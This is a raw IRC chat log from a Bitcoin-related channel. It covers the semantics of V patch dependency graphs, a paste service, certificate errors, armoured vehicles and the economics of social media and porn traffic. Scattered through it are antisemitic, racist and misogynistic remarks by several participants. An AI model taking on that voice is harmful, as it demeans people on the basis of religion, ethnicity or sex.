1464692;1462682771;mod6;6eaa543333746c11069ff9ca85aaa6330419d0be95de21fafcdbd500e1bc6df2ef10c2dc1d104b15cb50da7b362eac6bf1ddf3830329367b31c1e59e1dc3c6a9 - 1464693;1462698071;ben_vulpes;mod6: done 1464694;1462698113;ben_vulpes;browsers frequently pass newlines from forms as \r\n 1464695;1462698200;ben_vulpes;anyways, should you care to, you can now also `curl -L -F "pastebox=@foo.txt" wotpaste.cascadianhacker.com` 1464696;1462698225;ben_vulpes;produces the same hash as the submitted file 1464697;1462699450;ben_vulpes;http://archive.is/637lm << unrelatedly, don't you want to stay at the cow cave? the akita house? perhaps the host of the kangaroo treehouse's beguiling pose will entice you into a rental. if none of those appeal, consider pug palace, cow boat, or the cottage cheese cottage 1464698;1462699480;ben_vulpes;me, i'm booking batcave hammocks asap 1464699;1462699488;ben_vulpes;that novelty penny looks DOPE 1464700;1462711500;phf;http://btcbase.org/log/2016-05-08#1464645 << pretty sure that's where there's a lot of confusion, even between what you're saying and what ascii is saying 1464701;1462711500;a111;Logged on 2016-05-08 04:11 mircea_popescu: phf> the graph for that is X->Y->Z, X->Z << this is incorrect. the graph for that is "X->Y->Z". "X->Z" is not correct because Z requires b 3 and x does not provide b3. 1464702;1462711544;phf;in v's definition of antecedent, the only requirement is "share a single hash" 1464703;1462711570;phf;so the fact that Z requires b 3 is irrelevant, since Z also requires a 1 1464704;1462711720;phf;that's not my definition by the way, that's how the graph is constructed inside v.py (v99.py:143 get_ante) 1464705;1462712182;shinohai;http://btcbase.org/log/2016-05-08#1464690 <<< thx mod6 1464706;1462712182;a111;Logged on 2016-05-08 04:46 mod6: shinohai: grab this one http://www.mod6.net/btcf/test/mod6_funken_prikey_tools.vpatch 1464707;1462716511;mircea_popescu;phf prolly. let's delve. 1464708;1462716785;mircea_popescu;phf so basically you found a bug in mod6's perl implementation of v ? 1464709;1462716825;phf;mircea_popescu: i don't think that's a bug, that's more of a conceptual thing. 1464710;1462716834;mircea_popescu;how so ? 1464711;1462716900;phf;that's the behavior of the original v where the graph doesn't communicate any additional information beyond "shares a hash" 1464712;1462716917;mircea_popescu;so ? this doesn't prove "not a bug" 1464713;1462716960;asciilifeform;http://btcbase.org/log/2016-05-08#1464711 << mno. it communicates 'you need this patch and its antecedents' 1464714;1462716960;a111;Logged on 2016-05-08 14:15 phf: that's the behavior of the original v where the graph doesn't communicate any additional information beyond "shares a hash" 1464715;1462716972;asciilifeform;and yes, because they share a hash 1464716;1462716983;asciilifeform;what of it ? 1464717;1462716986;mircea_popescu;asciilifeform you talking about yours or mod6's ? 1464718;1462716991;asciilifeform;mine 1464719;1462716997;mircea_popescu;we were not talking about yours. 1464720;1462717001;asciilifeform;and his 1464721;1462717021;asciilifeform;well phf was , i think, speaking of the basic vtron conceptually 1464722;1462717022;mircea_popescu;i think mod6's might actually try to press on the basis of "has ONE antecedent" 1464723;1462717029;asciilifeform;hm 1464724;1462717032;mircea_popescu;he couldn't have had, since he gave examples. 1464725;1462717056;*;asciilifeform will have to actually read mod6's thing before commenting further 1464726;1462717068;phf;(i don't really know how mod6's vtron operates, only speaking of mine and asciilifeform's) 1464727;1462717095;mircea_popescu;uh. wait, which was the one in py ? 1464728;1462717100;phf;asciilifeform's 1464729;1462717108;mircea_popescu;right cuz mod made it in perl, nm. 1464730;1462717112;asciilifeform;aha 1464731;1462717117;mircea_popescu;i take it back. ok, so : 1464732;1462717153;mircea_popescu;get_ante returns all leaves required for a press. 1464733;1462717218;asciilifeform;well recall , my vtron was incomplete in the aspect where it assumed that any leaf was pressable per se 1464734;1462717225;mircea_popescu;aha. 1464735;1462717280;asciilifeform;this was clearly explained. then various folks tried to derive a means to auto sort leaves in some meaningful way 1464736;1462717282;phf;mircea_popescu: in the example that i gave, get_ante is the function that establishes graph edges 1464737;1462717290;mircea_popescu;yeah. 1464738;1462717340;mircea_popescu;phf the thing remains, it's risky to take tmsr prototypes and extract meaning as if they were definitive canonical implementations of concepts. they aren't, yet. 1464739;1462717371;mircea_popescu;and as more people get involved this will be our bane, because it's really fucking difficult to correctly mark the walls and the scaffolding. 1464740;1462717416;asciilifeform;my vtron was very much a battlefield wunderwaffen, adequate strictly for pressing a well-gardened trb tree that consisted 95% of asciilifeform 1464741;1462717416;mircea_popescu;irl fragile parts like windows get a paint X on them, but here no such luck. 1464742;1462717432;asciilifeform;i still use it 1464743;1462717503;phf;well, there's no issue with that graph presentation, because it produces correct press. it's just that graph is "meaningless" without the toposort. visualizing it doesn't answer any question beyond "this and that share a hash" 1464744;1462717511;mircea_popescu;back to the issue of substance. the idea is that whatever any current implementation may do, a situation where : 1) X takes A from 1 to 2 and B from 1 to 2 ; 2) Y takes A from 2 to 3 and B from 3 to 3 and 3) Z takes A from 2 to 4 and B from 3 to 4 should be represented as X->Y->Z only, and not as X->Y->Z, X->Z 1464745;1462717533;asciilifeform;the basic confusion comes from how we have two uncoupled things tied together with rope 1464746;1462717549;mircea_popescu;yeah, asciilifeform and i think it's time to specify that rope. 1464747;1462717560;asciilifeform;namely 'patchons', actual dependent gibblets, are grouped into patches 1464748;1462717577;asciilifeform;i suggested at one point, to uncouple them 1464749;1462717581;mircea_popescu;i was thinking yest, "the solution here prolly is to forbid X containing multi As". 1464750;1462717587;shinohai;The official tmsr roll 'o duct tape. 1464751;1462717588;mircea_popescu;iirc this was said back in the day, briefly. 1464752;1462717589;phf;right 1464753;1462717598;asciilifeform;i suggested this, iirc, last september 1464754;1462717604;mircea_popescu;somethinglikethat. 1464755;1462717613;asciilifeform;but it has serious down sides 1464756;1462717620;mircea_popescu;myeah. 1464757;1462717636;mircea_popescu;chief downside is that we'll need an ide/emacs skin\ 1464758;1462717652;asciilifeform;it would permit nonviable chimeras, for instance 1464759;1462717671;mircea_popescu;topological sorting becomes expensive and slow and etc 1464760;1462717676;asciilifeform;suddenly the simplicity aspect would be lost. 1464761;1462717678;asciilifeform;aha. 1464762;1462717701;mircea_popescu;still, this is a problem in search of a good solution. 1464763;1462717710;mircea_popescu;and phf has a point in that it's not even a very well understood one. 1464764;1462717715;asciilifeform;i am not certain that we have a problem ! 1464765;1462717729;asciilifeform;my v works when among gentlemen 1464766;1462717731;mircea_popescu;i mean socially. whether we have a technical problem or not is part of the problem. 1464767;1462717764;phf;i think the problem is "what does v graph supposed to communicate to the viewer" 1464768;1462717769;mircea_popescu;meanwhile in other campus news, http://67.media.tumblr.com/6459edb89a9633869c33c713fbbb7186/tumblr_nig959SxtB1u5ddqjo3_400.gif 1464769;1462717779;phf;and ~not~ anything related to a working press 1464770;1462717790;asciilifeform;for instance, and i warned of this from the beginning, v operators are trusted never to create cycles. 1464771;1462717803;mircea_popescu;phf "how did i end up with z and what's its connection to origin" 1464772;1462717806;asciilifeform;there is no handy technopill against cycle 1464773;1462717822;phf;mircea_popescu: right 1464774;1462717843;mircea_popescu;right. and in the example given, X->Z (or rather, Z > X) is not a connection to origin. 1464775;1462717866;phf;so there are two issues with the thinking down that line 1464776;1462717892;phf;one is that edge can indicate independent transitions vs all dependents 1464777;1462717901;mircea_popescu;define these terms ? 1464778;1462717940;phf;let's say you have x->y z->y. in the first case it means "i can press y on top of x" OR "i can press y on top of z" 1464779;1462717955;mircea_popescu;wait, what ?! 1464780;1462717966;asciilifeform;realize, v was something that i was specifically only able to conceive of because i am working with cultured folks who can be relied upon to not shit in the kitchen. operating vtron will always require a good measure of intelligence, wisdom, restraint... 1464781;1462717979;mircea_popescu;oh, something like "either y or z could be pressed on top of x" yeah ok 1464782;1462717985;phf;right 1464783;1462718001;mircea_popescu;right, keep to alphabet order as historical. 1464784;1462718021;phf;the second meaning is, and that one comes up since we have multiple files to a patch, in order to press x i need both y and z. 1464785;1462718059;phf;wait, i think i utterly confused the issue. one sec let me restate it 1464786;1462718063;asciilifeform;thing is, i realized a while back that a leaf depending on other leaves at all, is abuse of v 1464787;1462718083;asciilifeform;leaf must depend only on nonlenleaves. 1464788;1462718093;mircea_popescu;phf please. 1464789;1462718098;asciilifeform;nonleaves 1464790;1462718122;mircea_popescu;asciilifeform understand, it's not just that "if we can't get v to be easily intuitive it won't see mass adoption". it's moreover that if v isn't reducible to crystal fucking clear, we fucked something up. 1464791;1462718130;asciilifeform;aha 1464792;1462718139;asciilifeform;and imho it is clear. 1464793;1462718158;asciilifeform;once we stop demanding that it sort leaves somehow 1464794;1462718166;mircea_popescu;i thought so too, but then again this guy's leet py script beat my bash hackery outta water, so let's hear him out. 1464795;1462718247;phf;mircea_popescu: X<-Z Y<-Z, that means that having press to X you can now press Z on top OR having pressed to X you can now press Z on top. alternatively it can mean, in order to press Z you need both X and Y pressed. 1464796;1462718300;mircea_popescu;in my mind, these two are not ambiguous, because correctly working graphaton would represent them respectively as 1464797;1462718304;mircea_popescu;Y Z Y Z 1464798;1462718309;asciilifeform;aha. 1464799;1462718316;mircea_popescu;\ / | | 1464800;1462718320;mircea_popescu; X X X 1464801;1462718332;mircea_popescu;first pair is first, 2nd pair is 2nd 1464802;1462718397;phf;ah, in which case you preserve the idea of "edge in means possible transition" 1464803;1462718398;mircea_popescu;or fuck, seems somehow Z is the antecedent of everything nao ? 1464804;1462718430;mircea_popescu;phf think of it like this : if letter comes earlier in alphabet, item it denotes comes earlier in time-entalpy. 1464805;1462718446;mircea_popescu;x may not know of z ; only z may know of x. 1464806;1462718463;phf;right, that's the basic principle 1464807;1462718478;mircea_popescu;well then don't say stuff like Z->Y. 1464808;1462718488;mircea_popescu;and don't say stuff like <- either. time goes -> 1464809;1462718507;mircea_popescu;darned jews infiltrating tmsr. 1464810;1462718575;phf;antecedent relationship goes backwards though. x<-y perhaps means y points at x as a parent without x's knowledge 1464811;1462718587;mircea_popescu;thinking about it, my enthalpy-based objections seem to come out of left field. somehow it seemed obvious to me that this property of "cone of knowledge" as per particle physics is part of v, 1464812;1462718594;mircea_popescu;but thinking about it nowhere was it said. 1464813;1462718609;mircea_popescu;phf if you use -> ambiguously nobody will be able to think about this, you least of all. 1464814;1462718667;mircea_popescu;asciilifeform what's the standard term of "enthalpy equivalent in turing machines" ? the shannon factor ? 1464815;1462718775;asciilifeform;mircea_popescu: today it is a unit, shannon, sh 1464816;1462718781;asciilifeform;nobody seems to use tho 1464817;1462718792;mircea_popescu;well what the fuck do they know. 1464818;1462718883;mircea_popescu;ah, no, sh is the equiv of entropy. "count of possible states". 1464819;1462718906;mircea_popescu;perhaps the difference not interesting here. 1464820;1462718912;asciilifeform;ah you wanted enthalpy , hm 1464821;1462718926;asciilifeform;nfi what that would be here 1464822;1462718991;mircea_popescu;ok, more practically speaking : the graphatron is a visualizer of individual patches event horizons. how about that. 1464823;1462719009;mircea_popescu;no need to mix 19th century understanding of qm in shorthand statistical form at all. 1464824;1462719066;mircea_popescu;(event horizon is the boundry past which phenomena can no further affect the observer) 1464825;1462719102;asciilifeform;the opposite? 1464826;1462719113;mircea_popescu;the opposite of a boundry ? 1464827;1462719124;asciilifeform;(if it dn affect the observer, he's not observing!) 1464828;1462719133;mircea_popescu;lolk. 1464829;1462719155;asciilifeform;it is the boundary where observer can no longer get sucked into the phenomenon . 1464830;1462719157;mircea_popescu;(event horizon is the boundry whithin which phenomena can affect the observer) << this is a much less intuitive, if technically correct affirmative statement. 1464831;1462719180;mircea_popescu;anywya : as the graph progresses past the antecedent of a leaf, it therefore goes outside the event horizon of that leaf. 1464832;1462719233;mircea_popescu;so if we're drawing and leaf Z requires a in state 3 and we're at state 4, that's it for Z. 1464833;1462719267;asciilifeform;unless we press to z 1464834;1462719281;asciilifeform;recall, thing is steerable 1464835;1462719292;mircea_popescu;that's a press. we're drawing here. 1464836;1462719301;asciilifeform;then yes 1464837;1462719304;mircea_popescu;right. 1464838;1462719334;asciilifeform;but a drawing of the graph illustrates all pressables. 1464839;1462719360;mircea_popescu;in some sort of eigenstate* 1464840;1462719373;mircea_popescu;it doesn't illustrate all pressables that are, but a sort of all pressables that could ever be. 1464841;1462719604;mircea_popescu;in completely unrelated lulz : the "minimum description length community" (what ? dunno, ask them) changed turing's nit to to "nat", because why the fuck not. 1464842;1462721156;asciilifeform;l0l!! 1464843;1462721216;mircea_popescu;modern democracy. 1464844;1462721295;asciilifeform;kicking dead lion is easy. 1464845;1462721331;asciilifeform;expect this unit to be eventually renamed to 'qeer' or the like. 1464846;1462721441;asciilifeform;1298527/1298527 incidentally. 1464847;1462721454;asciilifeform;and... 37080/38479. 1464848;1462721494;asciilifeform;nearly through. 1464849;1462721503;asciilifeform;good for another hour or so ! 1464850;1462721574;mircea_popescu;onoes! 1464851;1462722165;mircea_popescu;asciilifeform well, write it a nice 8ball expander to keep adding primes and that's that, can let it be. 1464852;1462722196;mircea_popescu;2.15mn is not bad. punkman1 got anywhere with the sr stuff ? 1464853;1462723435;mircea_popescu;and in other travel news, http://lorelayp.tumblr.com/post/83731067618 1464854;1462724406;mod6;<+ben_vulpes> browsers frequently pass newlines from forms as \r\n << werd thanks for the quick response :] 1464855;1462724985;asciilifeform;in mostly-unrelated nyooz, fewer nodez today than there were 3y ago. 1464856;1462724996;asciilifeform;and fewer today than last year, etc. 1464857;1462725027;asciilifeform;(speaking of actual nodez, rather than muppets) 1464858;1462725328;danielpbarron;my node is nearly caught up although it seems to always be ~200 blocks behind 1464859;1462725425;asciilifeform;oh this is lovely, check it out, 1464860;1462725433;asciilifeform;Resolving pgp.key-server.io... 67.205.56.66, 2607:f298:6050:6f81:f816:3eff:fec4:e651 1464861;1462725439;asciilifeform;Connecting to pgp.key-server.io|67.205.56.66|:443... connected. 1464862;1462725446;asciilifeform;ERROR: cannot verify pgp.key-server.ioâs certificate, issued by â/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CAâs authority. 1464863;1462725455;asciilifeform;l0l!!! 1464864;1462725805;asciilifeform;;;later tell mircea_popescu get a load of this. http://kbsriram.com/2014/10/analyzing-rsa-openpgp-keys-in-the-skskeyserver-pool.html <<<<< >>>>> https://web.archive.org/web/*/http://kbsriram.com/2014/10/analyzing-rsa-openpgp-keys-in-the-skskeyserver-pool.html (appears not to have existed before last april !) 1464865;1462725805;gribble;The operation succeeded. 1464866;1462726007;asciilifeform;it isn't in the logz prior to now, either. 1464867;1462726446;BingoBoingo;MegaLOL 1464868;1462726521;pete_dushenski;BingoBoingo: lol i won't even try to guess what you think i should think about the alberta wildfires, but it's pretty damn lulzy to watch the reigning socialist party flail impotently as they attribute the projected 1/3rd loss of ~the country's~ economic growth for the quarter to "karma" because "karbon" 1464869;1462726575;BingoBoingo;Oh, you've talked about the "boomtown" in decline thing going on there for a while 1464870;1462726659;pete_dushenski;'boomtown' isn't growing at 10-20% per annum, tis true, but it's pretty resilient at these oil price levels. $20 would be a massacre, $40+ is more than liveable 1464871;1462726936;pete_dushenski;http://btcbase.org/log/2016-05-08#1464636 << a chunk of this seemingly excess capacity is to account for two things : a) the obvious need for husky bodyguards to accompany asian heads of state, and b) the less obvious need for the same platform to accommodate the optional hybrid battery pack that weighs ~900lbs~ more and takes up most of the trunk. 1464872;1462726936;a111;Logged on 2016-05-08 03:58 BingoBoingo: ;;later tell pete_dushenski re: http://www.contravex.com/2016/05/07/pete-buys-a-minivan/ Exactly how fat are Lexus's typical customers that such a gulf is required between passenger car's curb weight and carrying capacity 1464873;1462726976;pete_dushenski;*asian and no-dick, to be fair 1464874;1462727059;pete_dushenski;http://btcbase.org/log/2016-05-05#1463281 << i should probably update my blog links from the old #b-a ones huh, at least my 'reviews' in the right column 1464875;1462727059;a111;Logged on 2016-05-05 12:53 mircea_popescu: meanwhile, check out what ancient lulz i found on pete's blog http://btcbase.org/log/?date=24-07-2014#766538 1464876;1462727142;pete_dushenski;i wish bbet would come back so i could bet on phuctor cracking a deedbot l2 key. seems like the kind of thing no one would expect, like ron paul talking for 10 minutes or w/e it was 1464877;1462727259;pete_dushenski;still weird that znort is awol. she has a key, why not provide updates here ? 1464878;1462727299;mircea_popescu;asciilifeform nice find eh. 1464879;1462727310;mircea_popescu;modern democracy. creating history, since 1950. 1464880;1462727393;mircea_popescu;pete_dushenski don't forget armor. 1464881;1462727428;pete_dushenski;armor, batteries, a week's supply of astronaut food... 1464882;1462727448;mircea_popescu;armor's the big thing. 1464883;1462727480;pete_dushenski;though really, what's wrong with being assassinated ? better than irrelevancy in old age 1464884;1462727492;pete_dushenski;ask napolean 1464885;1462727564;pete_dushenski;http://www.alpineco.com/armored/Lexus/LS600-hybrid.php << 1700lbs of armor. oof! 1464886;1462727608;pete_dushenski;that'll slow you down more than mysterious dedibox unpluggings 1464887;1462727818;mircea_popescu;yeah. most upper line merc/lexus/what have you have the engine and torque transmission etc optimized for armor even if you're not buying the armor upgrade. 1464888;1462727841;mircea_popescu;also a large part of why diesel upscale cars were popular for so long. excellent torque. 1464889;1462727851;mircea_popescu;kinda died off with the age of rocketry, bout late 90s. 1464890;1462727920;mircea_popescu;no idea why they didn't go full takn and add the gunports, but w/e. 1464891;1462728136;BingoBoingo;in other lolz http://qntra.net/2016/05/abducted-liberty-reserve-founder-sentenced-to-20-years-in-prison/#comment-57620 1464892;1462728168;mircea_popescu;lol! 1464893;1462728211;mircea_popescu;"was naturally involved with the prosecution with evil itself offering:" << this dun flow. "was naturally involved with the prosecution:" 1464894;1462728240;mircea_popescu;severe the relationship << sever 1464895;1462728257;mircea_popescu;lol sorry for your laws. epic. 1464896;1462728398;pete_dushenski;gunports make plenty of sense, as does the fact that tmsr will end up redesigning personal transportation along with computing and everything else besides 1464897;1462728426;mircea_popescu;yeah, flying bikesheds. 1464898;1462728446;*;pete_dushenski imagines cows and catapults 1464899;1462728650;pete_dushenski;btw happy mother's day! (to diana_coman(?), etc.) 1464900;1462728702;pete_dushenski;first one for the girl. no big deal. 1464901;1462728759;asciilifeform;armour worked for lenin. 1464902;1462728762;asciilifeform;but he was an orc. 1464903;1462728772;asciilifeform;'humans' decided that it is easier/cheaper to lobotomize population 1464904;1462728776;asciilifeform;so 'no one thinks of' firing. 1464905;1462728918;mircea_popescu;asciilifeform note that they very carefully don't go places lenin went w/o a thought. 1464906;1462728922;mircea_popescu;rocketry. ended many things. 1464907;1462728934;asciilifeform;long before rocket 1464908;1462728938;asciilifeform;shaped charge. 1464909;1462728969;asciilifeform;and yes, lizards returned to 'forbidden city' model. 1464910;1462728982;mircea_popescu;yeah, but that was only half the answer. rocket also delivers the hsaped charge. 1464911;1462729009;asciilifeform;aha. in the old days you had to bury it. 1464912;1462729025;mircea_popescu;and notice that it did end stuff like the a-h empire. 1464913;1462729164;asciilifeform;in none too distant future, lizards will have to avoid open sky entirely 1464914;1462729175;asciilifeform;as 'quad chopper' from 2000 metres can also deliver shaped charge. 1464915;1462729200;mircea_popescu;aha. 1464916;1462729203;BingoBoingo;fxd 1464917;1462729206;mircea_popescu;well... they already kinda do. 1464918;1462729212;asciilifeform;(and, i will add, NONE of today's vehicles have decent top armour) 1464919;1462729225;pete_dushenski;what's decent ? 1464920;1462729236;asciilifeform;pete_dushenski: anything like the side plate 1464921;1462729236;mircea_popescu;he has a point. there is no more decent. 1464922;1462729244;asciilifeform;reactive, say 1464923;1462729248;mircea_popescu;"armor" in vehicles is like "antivirus" in computers. 1464924;1462729251;mircea_popescu;if you got it, you lose. 1464925;1462729253;asciilifeform;quite 1464926;1462729273;pete_dushenski;like obummer's 'beast' aha 1464927;1462729277;asciilifeform;at any rate, 'swarm' attack makes the reactive brick a laugh 1464928;1462729284;mircea_popescu;quite exactly. there is no armor. 1464929;1462729287;asciilifeform;so first chopper didn't break you. fine, 2nd, 3rd, 4th. 1464930;1462729362;pete_dushenski;might as well jfkconvertible it then 1464931;1462729379;pete_dushenski;i can see it 1464932;1462729420;asciilifeform;pete_dushenski: the problem was solved long ago, by only parading disposable figureheads in public. 1464933;1462729432;asciilifeform;(have you ever seen, e.g., dimon, in a motorcade ?) 1464934;1462729456;pete_dushenski;i just read about zuckerberg's 'sekoority' expenses 1464935;1462729483;pete_dushenski;something like $4-6mn a year ? maybe not much, but more than mp spends, likely 1464936;1462729495;asciilifeform;potus spends more still, what of it 1464937;1462729499;asciilifeform;any idiot with money can spend. 1464938;1462729514;pete_dushenski;so they can, so they do 1464939;1462729546;pete_dushenski;alas, i must unfortunately be off again. will endeavour to return soon. and for longer! 1464940;1462729560;mircea_popescu;the notion that money buys security is not unlike the notion that smegma buys health. 1464941;1462729628;mircea_popescu;(yes, smegma does have some health benefits in some circumstances that you're not likely to encounter, that nevertheless had a larger impact on history of life on earth than anything you ever encountered conceivably could.) 1464942;1462729631;asciilifeform;mircea_popescu: supposing the money buys anything at all, he is buying http://btcbase.org/log/2016-05-04#1462341 1464943;1462729631;a111;Logged on 2016-05-04 04:08 mircea_popescu: two people have an argument and one gets really angry, police can fix this. random derp gets overexcited tries to ship smoke detector shavings to ex gf's mother, police can fix this. 1464944;1462729681;mircea_popescu;asciilifeform famous case of central asian conflict, rich guy vs powerful guy, rich guy end up fed liquid gold. 1464945;1462729693;asciilifeform;aha i recall. 1464946;1462729705;mircea_popescu;incidentally that was VERY MUCH a case of usistan vs iranistan. 1464947;1462729719;mircea_popescu;dude was srsly "oh we're too intellectual property to care" 1464948;1462729938;asciilifeform;history of idiot kings is as long as history of kings. 1464949;1462731508;mircea_popescu;incidentally, for any haskell people : http://trilema.com/2016/multivariate-calculus-for-experts/ 1464950;1462731836;mircea_popescu;asciilifeform you will prolly appreciate the little bayestard murder gem i've produced:D 1464951;1462732426;mircea_popescu;and in other news, holy shit check out teh scam of teh future : http://infinitythegame.com/whatis.php << why not do all the hard work of computing a rpg BY HAND! and pay 50 pounds per fucking figurine so you can paintakingly reconstruct all the hard work of a gfx card by hand also! 1464952;1462732449;mircea_popescu;next they're gonna sell these schmucks bitcoin mining kids in longhand. 95 dollar special pencil! has a bitcoin logo on it! 1464953;1462732499;deedbot;[Trilema] Multivariate calculus for experts - http://trilema.com/2016/multivariate-calculus-for-experts/ 1464954;1462735897;danielpbarron;mircea_popescu> incidentally that was VERY MUCH a case of usistan vs iranistan << iranistan is the actual name of a street around where i live, a word invented by pt barnum (the circus guy) who was the mayor for a time ; he wanted to build his mansion on a street that had an exotic sounding name. The thing has since burned down if i'm not mistaken, and the street is now littered with those getto style houses that look like they sho 1464955;1462736050;danielpbarron;mircea_popescu> and in other news, holy shit check out the scam of the future << sounds like a copy-cat of "warhammer" which I think had a medieval theme; the figures come unpainted and you're supposed to paint them yourself. i think that's more of the point as a little art project although i'm sure the price is ridiculous 1464956;1462738745;mircea_popescu;ha, fancy that. had no idea barnum was a mayor. 1464957;1462738774;mircea_popescu;but anyway : these seem fully built. not that there's anything wrong with buying little mass produced statuettes, it's how the catholic church made half its money. 1464958;1462740092;BingoBoingo;Well, if the idea made money before it is going to get recycled 1464959;1462740863;shinohai; If only they still sold indulgences ... 1464960;1462742266;BingoBoingo;What do you think all those AIDS chairities are? 1464961;1462743950;davout;http://btcbase.org/log/2016-05-06#1464016 <<< mazeltov! 1464962;1462743950;a111;Logged on 2016-05-06 16:03 asciilifeform: http://btcbase.org/log/2016-05-06#1463998 << no leaving the house!111 1464963;1462743980;davout;also bitbet's heart seems to have started beating again 1464964;1462748427;BingoBoingo;$up joecool 1464965;1462748431;deedbot;joecool voiced for 30 minutes. 1464966;1462751030;hanbot;deedbot- http://thewhet.net/han/mpifpc4_closure.txt.asc 1464967;1462751036;deedbot-;accepted: 1 1464968;1462756580;mircea_popescu;aaand in other lafond news, http://65.media.tumblr.com/f0086d948ed9e02fb871b542dcbe3119/tumblr_noh83hssPg1stacfgo1_1280.jpg 1464969;1462762313;deedbot;[Daniel P. Barron] Unloving, unforgiving, slanderers, without self-control, brutal, despisers of good. - http://danielpbarron.com/2016/unloving-unforgiving-slanderers-without-self-control-brutal-despisers-of-good/ 1464970;1462763434;mircea_popescu;danielpbarron obviously, being a dumb cunt's way worse than being dead. 1464971;1462763483;danielpbarron;dumb cunt in this context is already dead in the spiritual sense 1464972;1462763511;mircea_popescu;possibly. the matter is confused in the original sources. 1464973;1462763566;mircea_popescu;lol danielpbarron slaying teh twatter crowd. 1464974;1462763600;mircea_popescu;" The result was an onslaught of mentions so great that it occasionally caused my iPhone twatter app to crash." << perhaps apple could ~literally~ wink wink nudge nudge buy russia ; then make it crash now and again. 1464975;1462763602;mircea_popescu;owait. 1464976;1462764124;mircea_popescu;http://danielpbarron.com/wordpress/wp-content/uploads/2016/05/obeast1.png <<< ahahaha thats pretty good damnation. so twitter at its peak is 100k impressions, 21k "detail expands", 1,2k clicks, 54 replies, 51 likes, 13 retweets and 2 follows. 1464977;1462764243;mircea_popescu;shit bro, that's what, half hour's work a la http://trilema.com/2016/files-from-the-war-on-the-web-today-literotica/ or about four dollars' worth, provided twitter traffic is actually as productive as blind click skim. which it probably isn't. 1464978;1462764273;danielpbarron;the 1.2k "clicks" were to my twatter profile though.. so not nearly as good 1464979;1462764273;mircea_popescu;so twitter can do what, a hundred or two of these a day, and is consequently worth maybe half a million a year, gross ? over an expense account a hundred times that ? 1464980;1462764275;mircea_popescu;nice story. 1464981;1462764316;mircea_popescu;danielpbarron aha. seriously, if one sat down to figure the actual value of these social media things, they'd be surprised how well they line up with actual historical datapoints, such as "what slashdot sold for" etc. 1464982;1462764445;danielpbarron;and yeah the "detail expand" is their disingenuous way of fluffing up the "engagement" number 1464983;1462764505;mircea_popescu;(blind click skim, which apparently is entirely unknown to google, as per usual - jesus that shit's worthless, the answers it has you only actually need if you're retarded, and everything else it has no clue about - is this concept from the old days when internet porn still made money, but after the glory days when it made serious money. the silver age so to speak. it consisted of a bunch of people making free tgps [thumbnail 1464984;1462764506;mircea_popescu; preview galleries] as an attempt to entice "users" to sign up with paysites. large affiliate model spawned up. the idea being that whern you click on an image, you're taken somewhere - that's blind click skim. 1464985;1462764569;mircea_popescu;the thing had developped to the degree someone made a thumb sorter sometime in 2002 or so, which sorted the imagaes by how clicked they were, so people could manage their tgps with less effort. as a side yielded all sorts of interesting anthropological results. for instance... hm. shit this is getting more involved than i thought. 1464986;1462764643;mircea_popescu;so : these tgps "traded" traffic with one another like crazy, on the idea that hey, there's a guy here with cock in hand, best sort him out to something he can get off to asap. so very much reminiscent of the egyptian shopkeepers who, if i inquired for an item they didn't have, would run off to a friend/cousin/competitor that did, then take me there and get a small cut of baksheesh. 1464987;1462764670;mircea_popescu;this gave rise to the concept of "traffic productivity", ie, how many clicks you get per users. 1464988;1462764729;mircea_popescu;and it being a business, soon enough it became a matter of skimming the milk. getting some traffic to come in meant you got clicks to send to all the other guys you're trading with which meant they sent you theirs, 1464989;1462764777;mircea_popescu;and so "traffic productivity" became an issue : if your traffic productivity was > 100 (%) that meant that for every click into your thing, you had >1 click to send out, meaning the trades had to send > 1 click in, and then you could explode! 1464990;1462764821;mircea_popescu;but skimming being what it is, people always tried to feed their stuff with shit [say, indian traffic], which'd get high "productivity" but obviously low value (as what indian is spending 30 bux online in 2003?) 1464991;1462764838;mircea_popescu;then this interracted with the tgp sorting algos : you'd end up with a list of thumbnails sorted BY HOW MUCH INDIANS LIKED THEM 1464992;1462764856;mircea_popescu;ah, the history of "internet marketing" is long and interesting indeed. 1464993;1462764914;danielpbarron;i suppose the social media sites can make money letting people like me pay to force people who hate people like me to see the hateful things they hate seeing, which I have actually done :D 1464994;1462764932;mircea_popescu;yes, but this is what's known as the novelty penny. 1464995;1462764939;mircea_popescu;ie, you'll never buy russia on this. 1464996;1462764953;mircea_popescu;(which is WHY i thought it notable barnum was ever mayor) 1464997;1462764999;danielpbarron;yep he was mayor of bridgeport back when bridgeport was the place to be, back when it still had industry 1464998;1462765002;mircea_popescu;anyway, i stand by it, if the year were 2006 and twitter was a tgp, it'd be worth about 600k. which in today's money is maybe 1mn. 1464999;1462765031;mircea_popescu;they claim they're not a tgp, i do not believe so. that's the crux of teh matter. they in point of fact contain no actual content past some thumbnails they cropped out of other people's porn shots. 1465000;1462765106;BingoBoingo;If only we could drop PT Barnum in a contemporary urban walmart 1465001;1462765160;BingoBoingo;http://oglaf.com/runway/ 1465002;1462765254;hanbot;mircea_popescu do you think that's true of all ugc hubs? 1465003;1462765300;mircea_popescu;hanbot well... gimme a list of these, what're you thinking about ? 1465004;1462765369;hanbot;well, facebook, etsy, change.org, reddit, entire browser history of the avg. derp 1465005;1462765383;hanbot;as long as it's user generated content, yknow? 1465006;1462765449;mircea_popescu;certainly no different for the various "social media" derpitudes. facebook is so exactly myspace 2.0 it bleeds. reddit somehow thinks it'll escape the fate of digg, which is histerical for anyone who's been online for longer than they've spent in school. what's digg worth today, incidentaly ? EXACTLY the same pittance they're all worth on their own. 1465007;1462765473;danielpbarron;i know it's true of facebook; some youtuber made a thing about how paying for offical promotion caused him to get ~less~ clicks because all the indians diluted out his actual fans 1465008;1462765474;mircea_popescu;otherwise, as you know, art projects, they're worth exactly what the [usg] rich patron says they're worth, for as long as that lasts (not usually long) 1465009;1462765503;mircea_popescu;danielpbarron this is what's so amusing about it - shiot the porn people had figured out 10-15-20 years ago, these schmucks are still innocent of, thoroughly. 1465010;1462765580;mircea_popescu;hanbot i have nfi about etsy really, but stuff like amazon definitely has actual business power behind it. google likes to pretends it does, also. i do not believe them, and the desperation fluff pieces a la "artificial intelligence" are so transparently tailored to satisfy the investor's dream needs (for an investor that's apparently pretty stupid), they count as proof to me. 1465011;1462765599;hanbot;hahaha 1465012;1462765605;mircea_popescu;anyway. amazon has made serious, defensible gains in the important topic of warehouse management. that's worth dough. 1465013;1462765654;mircea_popescu;google had perhaps, in 2002 ; and certainly held great promise, for a decade-ish hence. but it's gone by now. they like to pretend like they know shit, but a cursory examination of search results shows the charade for what it is. they know "a lot for a rock", which is great, except who cares about rocks. 